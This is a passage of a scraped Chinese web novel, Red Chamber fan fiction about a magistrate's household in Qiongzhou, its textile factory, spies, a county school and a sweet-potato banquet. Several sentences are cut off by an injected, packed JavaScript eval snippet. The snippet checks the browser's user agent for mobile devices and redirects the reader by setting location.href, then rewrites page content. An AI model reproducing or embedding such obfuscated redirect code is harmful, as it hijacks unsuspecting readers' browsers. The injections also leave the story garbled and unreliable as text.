邢太太立马来了精神,这几日乡下的亲戚一波一波地都来问呢,她显摆了没有一百遍,也有五六十遍,张嘴就说道:“哎呦,你是没见。那宝船能有十丈高,船上光桅杆就十二根。带来的赏赐海了去了,前面都到城门口了,后面的才刚下船呢。那天使也气派得紧,穿的衣服上都是绣了飞鱼的,活灵活现,像是能飞出来一般。我算是涨了见识了,真真这辈子再难见到了的。” 冼太太显然不是第一次听这话,但眼神仍充满向往。邬桐想笑,和进屋的林黛玉对视一眼,黛玉悄悄转身出去了。冼邢两位太太聊的入迷,没发现黛玉的身影,且两人也没什么事,黛玉忙着改进织布机呢,见不见没什么打紧。 邬桐让仆妇们将荔枝收拾一下,上一盘子大家尝尝,又和冼邢二人说了些家常话,这才把二人送走。其实二人也不见得多想来,只是前面二人的丈夫和柳琼关系好,二位夫人为了夫唱妇随,只得时常过来联络感情罢了。 吃过午膳,邬桐决定去人牙子那里看看。上次那个收夜香的奸细揪出来后,暗卫帮着在下人里查了查,又踢出来四个丫鬟和四个老兵。他们都还没来得及做什么,有些甚至不知道为何被选出来。 暗卫是怎么查的呢?就查这些人近些年的人情走动和亲戚的婚丧嫁娶。有些是偶然救了个落难的公子,彼此情投意合,无奈公子家中嫌弃女人是丫鬟,把公子带走了。有些是家里的兄弟刚娶了媳妇,而那媳妇恰好就是奸细。 他们许是现在不会做什么,但那公子要是主动联系丫鬟,或是弟媳暗示弟弟,弟弟再暗示哥哥,是不是将来就是隐患?为了保险,邬桐都让这些人离开了。前几日忙乱,家里下人的空缺一直没时间补,现在没事做,她又没去过古代的人牙子那里瞧过,因着好奇,等太阳没那么烈了,这才带着蕙香出去。 琼州天热,邬桐和蕙香出来没多久就满头大汗。邬桐先受不了,指着一间茶楼道:“上去歇歇再走吧。买人的事不急,别再中暑了。” 虽然热到动辄出汗,茶楼里的生意倒是出乎意料的好。二人来的巧,一楼也就剩了一张空桌。茶博士见人坐下,利索地放了一小碟瓜子儿,殷勤招呼:“客官要点儿什么?” “一壶六安瓜片,一碟桂花糕和马蹄糕。”蕙香要给邬桐拉椅子,邬桐摆摆手,直接吩咐茶博士。 等二人坐定,才留心听起了周边的议论。琼州历来女人上街的就很常见,二人进来倒没引起多大的轰动,大家该说什么还是说什么。 “听说没,县衙盖的那个什么纺织厂要招工呢。说是一月二两银子,不过只要女工,还得是大脚,你们说稀奇不稀奇。”隔壁桌一个穿着青色细布的黑脸汉子说。 “这有什么稀奇的,纺织厂纺织厂,肯定是织布的啊,不招女人难道让男人去织布?”同桌的汉子接话。 “可为何一定得是大脚?小脚难道就不行?” 话音还没落,一个明显带着黎族口音的妇人说道:“当然得是大脚,小脚的妇人连踏板都踩不住,怎么干活?那织布不仅手上要用劲儿,脚上也不得闲,小脚女人应付不来的。” “那岂不是只有咱们黎人女子能去?我好像听老峒主说过,汉人女子都裹小脚呢。”另一个有些口音的妇人道。 “那可不一定。”一个汉子声音有些不爽,明显是觉得汉人女子被比下去了,“裹小脚那是大户人家没事做才捣鼓出来的玩意儿,渔民家里、农户家里,哪个会给丫头片子裹脚?裹了脚,赶海、种地可都不行,怎么嫁得出去?” “是啊,是啊。我家妞妞就没裹脚。” “我家囡囡也没裹。” 邬桐听到此时方松了一口气。自来到这里,接触最多的就是贾家后院的那些女人,而贾家女子都没裹脚,她还以为本朝是没有这一恶俗的,没想到民间还是有。幸亏没蔓延到下层百姓中,不然一半的人口都宅在家里不出门,如何办的起厂子? 喝过茶吃过点心,邬桐和蕙香这才起身。路过纺织厂时,见已经有人在报名了,知道茶楼里听到的都是真话,心才重新落到了实处,轻松地向官牙走去。 本朝人牙子都是官牙,禁止私人买卖人口。官牙管事的是个三十多岁的大叔,肚子有些大,见着人就一脸的笑:“太太是想要丫鬟还是小厮?要多大的?这处官牙可是琼州最全最大的,保管能买到合心意的。” 官牙不仅县城这里有,底下的镇子上也都有,彼此存在竞争,是以管事儿的这才如此说。邬桐来之前做了心理建设,听到这话还是有些难过,想到上次她救的,后来又被逼死的女孩子们,不知道有没有投胎转世。 蕙香见小姐不说话,轻咳一声,邬桐回过神,歉意地笑笑:“都领我去看看,我要的人多,得好好挑挑。”她改变不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352785|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人口买卖,但是能让这些人吃穿不愁,也算是对那件事的补偿吧。 即使是官牙,环境也说不上好。空荡荡的屋子,没有床,地上铺满了稻草,有病弱躺在稻草上的,有见到人来,抱着缩成一团的,也有如小兽一般,狠狠瞪着来人的。被管事呵斥了两句,虽低下头,双拳仍紧握着不曾松开。 要不是看到这几个人,邬桐真想转身就走。她的力量弱小,改变不了制度,却不想同流合污。可这几个孩子太特别了,特别到她想犯一次规。 另一边,柳琼带着邬柏,和冼县丞、邢典史一起,正在衙门里聊盐场的事。姚家派遣的工匠来了,盐场可是大事,有了盐场就有了钱,有了钱,琼州还是穷山恶水吗?只怕到时候来此地任县令的人,不会比去江南的少。 四人在前衙正堂聊得激烈呢,贾蓉在外面探头探脑,差役因在天使来宣旨那日见过贾蓉,知道这是县令大人家的亲戚,也没阻拦。还是柳琼坐的位置正对门口,才第一时间发现了他。 见贾蓉面色焦急,不像是来找他闲聊天的,柳琼便让冼邢二人先回,盐场的事一日决定不下来,明日肯定还要再议的。 正堂没了外人,贾蓉这才小声道:“琼叔,上午有人找我,给了我一万两,让我打听纺织厂和纺织机的事。对方一出手就是一万两,肯定来头不小,我不敢不答应,便应承了下来,这不,人走了我也没敢马上来,过了两个多时辰才来找你说这个事儿。京里的时候就听说岛上有海盗,不知道这个人是不是。” “那人有什么特征?口音,长相,习惯性的动作,或者有什么你觉得奇怪的地方。”柳琼正色道。历来财帛动人心,有人打织布机的主意不奇怪,只是没想到会是海盗,他以为最先动起来的,会是广州府那些大商家呢。 贾蓉想了想,不确定地说:“那人一身绫罗绸缎,但手上老茧很厚,肯定不是公子哥。长得有些黑,没有我高,口音嘛,跟这边人说官话差不多。还有......”他沉吟了一会儿,不知道怎么开口。 “没事,再小的再不起眼的事都行。” “那人身上好似没有鱼腥味。”贾蓉道,“对,鱼腥味。这里的人,只要是出海打渔的,身上或多或少都有一股子味道。海盗既然在海上飘着,怎么也应该有些味道的,可这人身上没有。难道他不是海盗?” 柳琼也不确定,不过历来海盗在岸上都有眼线,有些还是兼职的,农忙时节或者渔获期就上岸种田打渔,其他时候就去海里做海盗。这个人是不是这种情况,还不确定。 “多谢蓉哥儿了。不知可否将此人的容貌画下来?我私下里让人去查一查。你自己在琼州也小心些,不要什么人都信,烟花柳巷这些地方少去,最好不要再去了。既然决定留在琼州,就正经找个人一起过日子才是正理。” 贾蓉嘿嘿笑两声,虽然来的时候受了些惊,缓了几日就暴露了本性。刘衡没走的时候两人还一起去青楼逛,还是后来柳琼听下人议论,才将人看住了。贾蓉不是个服管的,后来去没去他不知道,一些纨绔习性倒是渐渐露头了。 “我早在家里时就画好了。”贾蓉忙从身上的钱袋里掏出一张纸递过去,起身就走,“要是没事我就先回了,琼叔将那么大的庄子交给我管,可不得尽心嘛,我先得去忙了。” 果然人一当官就没意思了,爷爷如此,西府里的政叔爷如此,如今年纪轻轻的琼叔也是如此。贾蓉边走边叹息,琼州的日子不好过啊。 37.义学 贾蓉说的事可大可小,柳琼不敢耽搁,悄悄去了和郑甲约好的地方做了记号,明日无论如何得见一面。 到家时,刚好邬桐带着买好的四个小丫头和四个小小子,个个黑乎乎的,眼神格外倔强,一股子不服输的劲儿。蕙香在邬桐身后皱着眉,不知道小姐为什么要了这几个。 其他的人看着都比这八个温顺啊,这八个一看就不好管。渔民出身,家里要么是父亲打渔出了事,母亲养不起卖了的,要么就是有了后娘就有了后爹,被后娘卖了的。一个个也不知道跟谁犯倔呢,小姐问话的时候红着眼眶,跟要打杀了他们似的。 一点儿眼色也没有,偏还不识抬举,以后有得愁呢。 柳琼心里有数,这几个孩子不认命,外人看着不好,可邬桐偏就看上这一点了。不认命的人,才会想着出人头地,改变命运。为了出人头地,自会有人不择手段。邬桐这是想往倭寇或是海盗那里埋钉子呢。 “咱们先培养几年,之后再说。不用他们忠心咱们,只要忠心朝廷就行。”私下里,邬桐对柳琼说,“倭寇还有海盗能给咱们埋钉子,咱们也得行动才行。不然总是被动,早晚得出事。” “这还用你操心?”柳琼有些无奈,“你当暗卫是吃干饭的?肯定都安排过了的,这些事你别掺和。人买了就买了,怎么用再说。奸细的事历来归朝廷管,你掺和这个犯忌讳。” 邬桐摸摸鼻子,好吧,又义气用事了,她轻咳一声,转移话题道:“你今儿出去干嘛了?” “有人给贾蓉塞银子,让他泄露织布机的图纸。”柳琼只当没看见邬桐的尴尬,回道,“这个得跟郑甲说一声,是海盗干的还是倭寇那边的主意,得他去查。” “要是得不到图纸,他们会不会明抢?”邬桐有些着急,从床上坐起来道,“厂子刚建起来,过几日就要再送过来一批机器,这时候可不能出事。” 生意是放在黛玉名下的,可不能出事。 “放心,明日看郑甲那边怎么安排。”柳琼拍拍邬桐,示意躺下去,“没事,出事了有个高的顶着呢,你急什么。皇上想用织布机赚钱呢,就不会让他出事的。” 可不是,第二日郑甲听说了此事,晚上就派了近五十个高手,护卫纺织厂绰绰有余。再加上五百府兵和柳琼带过来的护卫家丁,近六百人的队伍,对付小搓的倭寇或盗匪足矣。至于海上的巨盗,跟朝廷明着为敌,上岸强抢官府,还是有些忌讳的。毕竟很多海盗,祖上都是岸上的居民,惹怒了官府,祖坟都能给你平了。 别觉得这个事不严重,古人可都是极其看重来处的,挖人祖坟这事,就算是对海盗,都是一重震慑。 知道了官府的态度,贾蓉拿着白得的一万两银子,高兴地两天没睡着觉。他带过来的也就十万两,跟琏叔一起买地花了五万两,剩下的还想着入股海贸呢。谁知道海贸那一帮子人精着呢,想入股可以,最低十万两一股,一点儿情面不讲。什么国公府、宫里的娘娘,那都是哄岸上的行商的,他们可是海商。逼急了坐船到海外去,一样是商贾巨富。 贾蓉也不想着做海贸生意了,跟在陈家后面做做绸缎生意也行啊,他们往海外卖,他就往内陆卖。粤海、京城、江南有人占了,他也不贪心,在琼州岛卖卖,总没人跟他抢吧?只要有钱,什么商队呀铺子呀都不是问题。 因着要忙绸缎生意和组商队的事,甘蔗园那边就免不得疏漏一二。香菱因着不擅长机器事物,在黛玉身边学了一段儿时间就放弃了,主动说要管甘蔗种植之事,因此倒是时常去儋州、临高等地查看,自是看见了几个管事的不妥当。 什么不妥当呢?无非是贪了些,连底下农户的钱都要贪墨一二。因甘蔗园大,即使雇了近一百的长工,农忙时也得请短工来帮忙的。因过了种植时间,刚买来的地都得再翻一遍,先抓紧种一茬红薯,冬里收获了,第二年开春才能种甘蔗呢。因此这一段,庄子上都是雇人种红薯的。 那贪墨最狠的,就是原来从东府里带来的小管事。原本是府里管着马匹的,没什么油水,听说家里小爷要往琼州来,他因是外头买来的,又没成家,便想着来琼州搏一搏。没想到因着识几个字,倒真成了农庄管事,专管雇佣短工。 如何贪墨、如何做账平账,他可都知道得一清二楚,这不就和发放工钱的管事勾连,将柳琼规定的二十五文一天,改成了二十文一天。还是香菱没进庄子时,听周边的农户讲的。 “不是二十五文一天吗?我记得当时是定的这个价儿啊。”香菱犹自不敢相信,又问了一遍。 因她穿着棉布的衣衫,没带首饰,农户兼渔民也没看出她的身份,挠挠头:“第一天东家是说的这个价儿,可后来不是管事来了嘛,应该是跟东家说了这个价儿太高了,还特意贴出了告示,说是改成二十文一天。俺们还特意找了认字的人去看,确实写的是二十文。” 香菱当即变了脸色,告别后,极速朝农庄走去。 这半年在邬桐身边,香菱也学会了两分凌厉手段,进农庄后,二话不说,当即让护卫绑了两个管事,留两人看押,而后挨家挨户上门,补齐了大家的工钱。并贴出了告示,留下一二心腹,给大家宣读告示内容,两日后才押解着两个管事,回到了县衙。 贾蓉被请到县衙时都是懵的,他这几日规规矩矩地在家,和管事商议开绸缎铺子的事,可什么都没干。等看到地上躺着的被五花大绑的两个农庄管事,才回过味儿来。感情不是他惹事,是这些刁奴惹事啊。 “你们两个不省心的,是不是又干什么了?”贾蓉满面怒容,虽有做戏的成分,一二分的怒还是有的,“琼叔,他们干了什么你只管去罚,不用看我的面子。既然来了琼州,一切以琼叔为主。” 柳琼看了贾蓉两眼,书里贾蓉就是个会看眼色会动心眼儿的,哄得贾琏出钱置外宅,安置了尤二姐和尤三姐,他白去玩乐。如今虽然没了这码事,却也是个不安生的。 “我知道你忙着布匹的生意,这两日没去庄子上。”柳琼开口道,“咱们在琼州都是外来户,最要紧的就是有个好名声。如今这两人贪墨短工的工钱,必得重罚才行。 这件事要是传出去,坏的不仅是名声,只怕农户闹事都是轻的。你可能不知,琼州的农户或多或少都做些打渔的营生,在海上讨生活,最重要的就是胆大。 你带来的那些人都管严些,我知道国公府对下人松散,但在琼州,都给我夹起尾巴做人。再发现一次,可不是给你送来让你处罚了。” 贾蓉听一句答一声是,全不顾两个管事呜呜呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说去看,柳琼第二日一早就去了县学。如今琼州县衙一切都有章程,谁负责什么,如何做,如何汇报都有一套流程,不用柳琼事事亲力亲为。盐场已经商议完毕,纺织厂只等着开工,剩下的大事可不就是县学了嘛。 去了才发现,县学里真就是小猫三两只,房屋倒是不破败,就是桌椅都是旧的,有些地方漆都磨掉了,红漆中那一点子枯黄,格外明显。先生在讲《中庸》,说话慢吞吞的,“?君子戒慎乎其所不睹, 恐惧乎其所不闻......?” 摇头晃脑,底下的学生睡觉也不管,柳琼在外面看了一眼就出来了。刚走到门口,教谕这才从家里跑出来,急急地冲县尊大人行礼:“县尊大人,小的早上去家访,竟不知县尊大人今日要来县学,真是罪过。” 教谕姓史,四十有五的年纪,是琼州的举子,因多次春闱失利,家里钱财又供应不上,这才到县学谋了个差事。举人虽可做官,但前途有限,这家伙想着自己年事已高,做起官来也是随意得很,今日到明日不到的。反正琼州有名望的先生都去下面的学院教书了,县学真没什么人来。他一个举子做教谕,已经算是本县的头一份了。要知道,以前的教谕可都是秀才。 柳琼要整治县学,教谕自是要换的,他瞥了这碍事的教谕一眼,先且让这家伙得意几日吧,等他找到接替的人,第一个开的,就是这史教谕。 史教谕那脸皮厚的,柳琼走后,这厮竟踱着方步,施施然又回家睡大觉去了。要不是无人可用,柳琼真想当场就罢了这尸位素餐的狗官。 38.儋州流放地 柳琼气冲冲地回了县衙,椅子还没坐热,冼县丞就拿着盐场的建设图纸过来了。见县令脸色不好,知道是在县学那里受了气。这几年琼州不安生,连着换了三届县令,马县丞和王典史也才倒台没多久。这二人在的时候,净想着捞银子的事,哪儿有空管县学的事。 “可是县学有什么不妥当?”虽不重视,但每年县学的银子都是给了的,史教谕就算不上心,贪银子的事他是做不出来的。那就是个读书读迂了的,冼县丞心里对此人颇为不屑。 柳琼收起脸上的怒容,问起了别的:“不知冼老兄可知,儋州流放的那些人的根底?” 冼县丞一听便知柳琼想做什么。能被判流放的,很多都是豪富之家,有些甚至是官宦人家出身,自是读过书的。县学的先生,净可以从这里面选人。 “流放来的人,县衙是有接收公文的,县尊要是想看,去仓房里找往来的公文即可。”冼县丞答道,“只是到底是流放之人,县尊就是想找这些人教书,也得查过之后,确实是被牵连的才行。否则和犯官扯上关系,只怕对县学的学生不利。” “多谢冼大哥提醒。”柳琼点点头,问道,“可是盐场那里有事?” 知道县尊忙着处理县学之事,冼县丞拿出图纸和柳琼看了一遍,柳琼笑着颔首:“冼老兄再稳妥不过,就这么办吧,等盐场建成,盐引的折子也差不多该批下来了,到时候选哪些盐商,咱们再商议。” 冼县丞笑着应了,拿着图纸就去忙后续的了,柳琼自是去仓房调阅文书不提。 只说第二日晚上,连着看了两日人事档案的柳琼,跟邬桐讲起了过两日去儋州的事:“儋州那里流放的人我都看过档案了,其他人暂且不说,有两位是必要请来的。一个是曾经的太子太傅张大儒,老先生在文坛举足轻重,两年前太上皇是赦免了的,可老先生觉得没教好前太子,愧对太上皇,坚决不肯返乡,这才在儋州定居的。老先生已经不是戴罪之身,请过来名正言顺。 另一个就是夏太医了。他也是冤枉得很,只是因为太子经常叫他瞧病,便被同僚排挤,流放到了儋州。不说无罪吧,也着实是被连累的。不过他是太医,请过来教些医术,影响不大,应该没什么大事。” 邬桐眼前一亮,她的治愈系异能说不得还能通过学习医术掩盖过去,当然是点头赞同了:“林家爹爹可要同去?” “自然。”柳琼答道,“师父对张大儒也钦佩得紧,听说他老人家还在儋州,说什么都要同去。明日我们就出发了,少不得要耽搁三四日才能回,你自己在家当心些。” “家里你就放心吧。五十多个家丁呢,出不了事。” “那几个小丫鬟小小子训练的怎么样了?可还听话?”柳琼知道,邬桐这几日都在训练刚买来的这几个人,他也好奇训练结果呢。 邬桐挑眉一笑,用气声道:“我的异能你忘了?谁到了我手上,都得听话!他们不是服侍人的料儿,我教他们一些身手,以后船造好了,跟盗匪肯定有一战,到时候让几个男孩子去战场杀敌。至于女孩子,夏太医要是请来了,让她们去学医,也是一个出路。” 柳琼点点头,竟忘了邬桐的精神系异能。他还是担心去儋州请人顺不顺利吧。 到了儋州,本以为张大儒那里会碰钉子,没想到头发花白的老先生,倒是利索得很,听说是去县学教书,二话不说就答应了。柳琼一肚子劝说的话没了用武之地,儒雅的老先生摸着胡须,笑得一脸豪迈:“老朽虽是罪臣,没教好前太子,但自认教几个小学生还是绰绰有余的。不过老朽有一请求,县令答应了,老朽今日就随你去” “老先生请讲。”别说一个要求了,就是十个八个,只要能办到的,柳琼都会毫不犹豫答应下来。以张大儒的学识,到时候来县学求学的人,只怕能把县学的门槛踏平。 “老朽在琼州三四年了,深得黎人帮助,只求县学里能招募一半的黎人,老朽感激不尽。”张大儒正色道。 不愧是能做太子太傅的人,这就想到了教化的问题。柳琼起身郑重行礼,林如海当即决定留在张大儒的草舍,让柳琼独自去拜访夏太医。他又不是学医的,他是探花啊,和张大儒请教学问才是正事。 柳琼无法,只得只身一人去黎峒请夏太医,没想到却遇到了麻烦。 倒不是夏太医不肯,而是医馆里的病人一听说要请夏太医走,先就不答应了。他们峒里好不容易来了一位神医,可不能被挖走了啊。柳琼还在劝着呢,就有黎人悄悄请了峒主过来,说什么也不放人离开。 这就得说说儋州这个地方了,这里黎人多,汉人少,因着比县城那边荒凉,才作为千年流放地的。说这地方荒凉,是因为这里树木异常高大葱茏,且到处是荒山,能耕种的平原极少。 夏太医行医的地方,就是一处黎峒。因着夏太医治好了老峒主和一些族老,在黎峒地位很高,连木头房子都是住得最宽敞的。 “县尊您也看到了,不是老夫不答应,实在是在这里,老夫也是一样的行医,且病人对老夫好得很,老夫年纪大了,实在是不想折腾了。”夏太医年过五十,因保养得宜,头发都没白一根,脸上也平展展的,没有一丝皱纹。 这是个有真本事的,柳琼更不想放弃了。他试着跟峒主商议:“我请老先生去县城,是去教大夫们医术的,是让更多的人学到本事,将来治病救人。你们要是想学,也可以派人跟着,一起去学习医术,不知可好?” 为了怕峒主听不懂,柳琼还特意放慢了语速,见峒主听明白了,脸上有了动摇,这才放心。而后对着夏太医,他是这么说的。 “只要能教出徒弟,我就给你请旨,不说官复原职吧,但你的后人子侄,肯定会是清白之身,这个老先生放心。” 两头都有利可图,自然是很快达成了协议。于是三五日后回到县城,不仅带来了两位先生和先生的后辈子侄,还有要跟着夏太医学医认药的黎人巫医。 洗去一身的尘土,柳琼第二日就罢免了县学的史教谕,任命张大儒为教谕。那史教谕一听张大儒的大名,二话不说就脱去了官服,为何呢?因为他也想跟着张大儒学习啊。史举子什么要求也没有,就想入县学,重新学习,柳琼能说什么呢,这么大年纪了,只要他坐得住,想学就学吧。 因着请来了张大儒,县学立马热闹起来。各书院都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377413|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派了人来求学,不是担心县学抢生源什么的,单纯就是想听张大儒讲课。有几个书院更是来了好几个蓄着胡须的老先生,和史举子一起,眨着星星眼在角落里听课。 张大儒不仅自己来了,儿子、孙子也来了一大堆,正好,甘蔗园、纺织厂都需要教认字的先生,这些人就派上了用场,正好教工人们认些基本的字,学学算数什么的。张大儒一直秉持的理念就是有教无类,儿子、孙子自是遵从,因此倒没有出现先生看不起学生的事。 夏太医的医学课也是堂堂都挤破了头,县城里的大夫听说太医亲自授课,就连抓药的伙计都派来听,恨不能关了铺子,全体伙计都去。直到柳琼贴出告示,保证夏太医常年开课,这才没让县药铺成了没大夫可看的‘空城’。 一切都在朝好的地方发展,攸乎又是半载光阴。 红薯冬日里大丰收,为了推广红薯的用途,粉条、红薯粉、地瓜烧酒等做法,都被柳琼在空间里找了出来,一一实验成功。 研制出来只是第一步,最重要的是推广,让更多的人知道红薯的妙用。为此,甚少宴客的邬桐,专门办了红薯宴,将琼州有头有脸的人家都请了来。 冼太太、邢太太、各班房司吏家的太太们,不仅自己来了,还带来了不少适龄的小姐,一个个打扮得如花似玉,一看就知道目的不纯。 为什么的?还不是县尊大人的小舅子邬柏! 这半年,小伙子跟在柳琼身边,将琼州有脸面的人家见了一个遍。有心的人家早把邬柏打听得一清二楚了。小小年纪中了秀才,在县尊大人身边历练,据说明年就能考举人和贡士,这不就是官场潜力股嘛,此时不投资更待何时! 邬桐的帖子一到,大家都卯足了劲儿,想让女儿、侄女儿在宴会好好出一回风头。琼州的银楼、成衣铺子倒是意外发了一笔。一时之间,流放地的红薯宴,倒是比京里的赏花宴,还要百花齐放。 邬桐着实没料到,会有这么多人一口应下,且大多还要带人来。想到红薯宴的目的,虽料到这些人目的不纯,邬桐也没拒绝。县衙后宅虽大,一下子还真装不下这么多人,邬桐特意在西城门附近,租了个专门办宴会的大院子。有黛玉帮着布置,审美完全不用邬桐操心。 虽是冬日的宴席,但琼州的冬日比京城暮春还要暖和,鲜花绿菜一点儿不缺。今日这宴,红薯是主角,后世所有用红薯做的菜,邬桐都一一复制了出来,愣是让很多人没吃出来是什么做的。还是贾芸尝出来了,跟柳琼感慨:“原还当红薯是珍贵东西,没想到竟这般高产,用途还这般广。琼叔琼嫂放心,芸儿定当尽全力看护好庄子。” 柳琼先是有些囧,明白过来后又忍不住想发怒。怪不得原主不记得吃过红薯呢,原来那些地主豪族手里早就有了种子,但是为了利益,一致地选择隐瞒,愣是让这能活命的高产粮食,成了珍宝。可恶至极! 张大儒举起酒杯,尝了尝地瓜烧,砸了咂嘴,评价道:“味道虽一般,但如果这红薯真有县尊说的那般高产,倒也可试着推广。只有有利可图,农户才可能种红薯。” 是啊,只有有利可图,农户才会弃熟悉的作物,改种其它。 39.红薯宴 前院宴席简单,清谈后直接开宴即可。后院就争奇斗艳了,因存着让邬桐相看的心思,冼太太等人见院子里三角梅开得正艳,所幸让各家小姐们去赏花,妇人们坐在阁楼里品评一二。 黛玉还是个小姑娘,邬桐便让黛玉陪着小姐们去赏花,顺便也看看小姐们的教养。以黛玉的本事,应付这些小姑娘们绰绰有余。 “县尊太太,那是我夫家侄女阿银。”人刚走,冼太太就指着一个身着红衣襦裙的女孩儿道,“是夫家大哥的女儿,今年刚及笄,母亲是汉女,汉话说得可好了。” 邢太太闻言挑挑眉,指着不远处,身着鹅黄百褶裙的少女道:“那是我侄女阿喜,明年就及笄了,她娘亲是秀才家的女儿,正教小姑娘认字算数呢。”邢太太没女儿,但也有娘家侄女儿啊。邬柏这个金龟婿可不能让。 两人的话像是火柴,点燃了人群中掩藏的火信。各家主妇噼里啪啦,介绍起带过来的女孩子们。哪家不是带了最优秀的女孩儿,尤其是那些商户人家,姬妾众多,容色俱全的女儿自然不少,很多都带了两三个,誓要促成这桩姻缘。如今一个个当家主母挤到邬桐身边,介绍自家的小姑娘。邬桐一时看的眼花缭乱,第一次知道香饽饽这个词的含义。 说实话,邬柏年纪不小了,也是时候该操心婚事了。可邬桐心里,总觉得邬柏年纪还小,十六七岁而已,高中生的年纪,这就要相看定亲了? 那些女孩子,一个个才十四、十五,虽打扮成熟,也还是一团孩子样儿。邬桐心里不舒服,却想起昨晚柳琼的话。 邬柏在这里历练,如果有幸能够高中,在翰林院历练三年后,最好能够外放。琼州这里有柳琼打的底子在,还有皇上看中的造船厂,是能出业绩的地方。对邬柏来说,是最好的外放地。 如果能娶当地的女子为妻,邬柏以后的路能走的更顺,仕途也能更进一步。邬桐压下心内的不舍,细心地观察起各个女孩子。冼太太家的阿银无疑是最合适的,姓冼,父亲是黎人,母亲是汉人,一手抓黎,一手托汉,是最适合联姻的对象。 且阿银长得不差,皮肤虽有些黑,但鼻梁高挺,一双杏眼活泼灵动,很有些黑里俏。和黛玉相谈甚欢,却也没有慢待其他的女孩子,有说有笑,并不是个难相处的人。以后做官太太,少不得要交际,以小姑娘的出身,能够不孤高还合群,小小年纪属实难得了。 邬桐端起茶杯品了一口,心里暗暗点头。想着能让邬柏见见最好了。也许真是和柳琼心意相通,说曹操曹操到,邬柏领着一溜儿小厮过来,笑眯眯地走过来:“姐,姐夫说有一道新菜,让大家伙儿尝尝。” 说着摆摆手,众小厮默默将托盘放到长桌上,之后小心地退出去。 邬桐一瞧,乐了,这不是后世的炸薯条嘛。她有个爱好,最喜欢的不是土豆薯片,而是用红薯炸的薯条。外皮酥脆,内里柔软香甜,是她最喜欢的味道。邬桐朝一旁赏花的小姑娘们招招手:“阿银,阿喜,快过来,有好吃的。” 在邬柏进来的时候,小姑娘们就安静了下来。古人早熟,小姑娘们也知道来这里的目的,听到县尊太太召唤,均理了理衣服,矜持地走了过来。款步行来,有人如弱柳扶风,一摇三晃。有人如风中的小白杨,昂然挺立。也有人,如雪中挺立的红梅,孤高自赏。 邬桐对阿银更满意了几分,小姑娘背脊比小白杨还直,步伐矫健,三两步就到了跟前。余光偷偷看了邬柏两眼,不动声色地坐到冼太太身边。 被这么多道目光注视着,邬柏脸有些发烫。历练这么久,也不是虚耗光阴,邬柏当即压下翻涌的心绪,对着邬桐示范薯条的吃法:“姐夫说这个得用手拿着吃才好,不用筷子。” 说着还拿了一根示范,邬桐笑着让大家:“别客气,都尝尝今日的菜。”让过了人,对着邬柏道,“跟后厨说,拔丝地瓜该上了。这菜得现做现吃,不然就不好下筷子了。” 邬柏对着众夫人行了个礼,就要下去。谁料阿银站起来,对着邬柏,娇声道:“等等,阿喜妹妹要跟你说话。” 阿喜立时瞪圆了眼睛,见众人望过来,脸早红透了,悄悄扯了扯阿银的衣角,小声嘟囔:“我......我没要说话。” 阿银甩开了阿喜的手,愤愤道:“你刚一直在问我他的事,我都不认识他,当然不知道了。你要是想知道,直接问他就好了。哼,让你问你又不问。算了,你不问我问。” 阿银清清嗓子,看着邬柏道:“你今年多大了?听说你跟县尊太太是龙凤胎,是也不是?他们都说你是秀才,那你是要回京城科举了?什么时候回去?科举后要回到琼州做官吗......” 冼太太有些尴尬,忙呵斥道:“阿银,不得无礼。” “我哪里无礼了?”阿银噘噘嘴,理直气壮道,“我们黎人女子可不兴盲婚哑嫁。二叔想让我嫁他,我当然要问清楚了。他长得这么俊,要是回到京城,不回来了可怎么办。” 人群顿时静了下来。是啊,她们都是地道的琼州人,到了京城不说露怯吧,肯定没有在琼州自在。千里万里之遥,一去不回,就是被欺负死,也没人会为她们出气啊。 邬柏倒是不卑不亢,款款行了书生礼,笑着说:“小生过两年就回京科举。如果成绩好,希望能在翰林院历练三年,之后谋求外放,定会尽全力回琼州的。” 说着也不等众人反应,施施然转身离开了。身后,众人交头接耳,邬桐看着弟弟有些仓皇的背影,无声地笑了笑。黛玉对着阿银眨眨眼,显然也看出来,哥哥这是害羞了。 很快,拔丝地瓜被送了上来。作为一道风靡华夏的美食,当然也能轻松征服古人的胃,众夫人小姐均对拔丝地瓜赞赏不已。可见甜食是不论民族出身,共通的大杀器。 香菱在薛家时没管过庄子,但她不傻,自然知道红薯高产意味着什么。以前听宝钗提过,说是红薯珍贵,不易栽培,却从没想过不易栽培的是人心。此时对着一桌子小吃,有些食不下咽。 宝钗姐姐在薛家,管了这么多年的内宅,清不清楚红薯的事呢? 邬桐自然不知道她在想什么,侧身跟冼太太、邢太太二位说话。冼太太出身黎人大族,夫家也是大姓,邢太太出身农家,家里地是不缺的。能得这两家的支持,后续红薯的推广会顺畅许多。 冼太太、邢太太问起今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 